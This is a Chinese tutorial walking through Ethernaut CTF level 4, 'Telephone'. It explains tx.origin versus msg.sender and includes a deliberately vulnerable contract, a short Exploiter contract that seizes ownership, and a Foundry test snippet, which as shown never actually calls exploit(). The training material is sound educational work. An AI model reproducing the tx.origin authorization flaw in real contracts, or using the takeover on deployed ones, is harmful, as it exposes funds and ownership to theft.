1. 主页
  2. 文档
  3. Ethernaut 题库闯关
  4. #4 Telephone

#4 Telephone

挑战 #4:Telephone

本次挑战是要求获得Telephone合约的所有权

Telephone 合约的代码如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

在查看解题思路之前,可以先自己想一想,自己会怎么做?

本题主要考察的是对 tx.origin 及 msg.sender 的理解。

研究合约

Telephone合约很小,相信大家可以快速阅读并理解如何解决这个挑战。

owner状态变量在构造函数中被初始化。唯一会更新 owner 的函数是 changeOwner

function changeOwner(address _owner) public

这是一个公共函数,只需要一个参数address _owner。如果tx.origin值与msg.sender不同,它将用函数输入参数_owner更新owner

为了解决这个难题,我们需要了解什么是msg.sendertx.origin

如果我们看一下Solidity官方文档中的区块和交易属性文档页,可以找到他们的定义:

  • tx.origin (address): 交易的发起者(完整的调用链)
  • msg.sender (address): 消息的发送者(当前调用)

tx.originmsg.sender都是 “特殊变量“,始终存在于全局命名空间,主要用于提供区块链的信息,或者是通用的实用函数。

但我们需要注意的是:

  • msg的所有成员,包括msg.sendermsg.value的值可以在每一个外部函数调用中改变。这包括对库函数的调用。
  • tx.origin将返回最初发送交易的地址,而msg.sender将返回发起external调用的地址。

这意味着什么呢?

让我们举个例子,看看这两者的不同值:

情景A:Alice (EOA,即外部账号)直接调用Telephone.changeOwner(Bob)

  • tx.origin: Alice的地址
  • msg.sender: Alice的地址

情景B: Alice (EOA)调用智能合约Forwarder.forwardChangeOwnerRequest(Bob),该合约将调用Telephone.changeOwner(Bob)

Forwarder.forwardChangeOwnerRequest

  • tx.origin: Alice的地址
  • msg.sender: Alice的地址

Telephone.changeOwner(Bob)里面

  • tx.origin: Alice的地址
  • msg.sender: Forwarder(合约)的地址

这是因为,虽然tx.origin总是返回创建交易的地址,msg.sender将返回进行最后一次外部调用的地址。

解决方案代码

我们只需要创建一个合约,在合约你调用Telephone合约:

contract Exploiter {
    function exploit(Telephone level) public {
        level.changeOwner(msg.sender);
    }
}

而在我们的解决方案代码中,只要部署它并调用它即可:

function exploitLevel() internal override {
    vm.startPrank(player, player);
    
    Exploiter exploiter = new Exploiter();
    
    vm.stopPrank();
}

之前我们在文章里有过介绍,vm.startPrank Foundry 开发框架添加的用于测试的作弊代码,这次的 startPrank是另一个重载版本。

// Sets all subsequent calls' msg.sender to be the input address until `stopPrank` is called
function startPrank(address) external;

// Sets all subsequent calls' msg.sender to be the input address until `stopPrank` is called, and the tx.origin to be the second input
function startPrank(address, address) external;

在这种情况下,我们使用第二个版本,因为我们还需要覆盖初始的tx.orgin,否则就是address(this)测试合约本身的地址!

你可以打开Telephone.t.sol阅读该挑战的完整解决方案代码。

这篇文章对您有用吗?

我们要如何帮助您?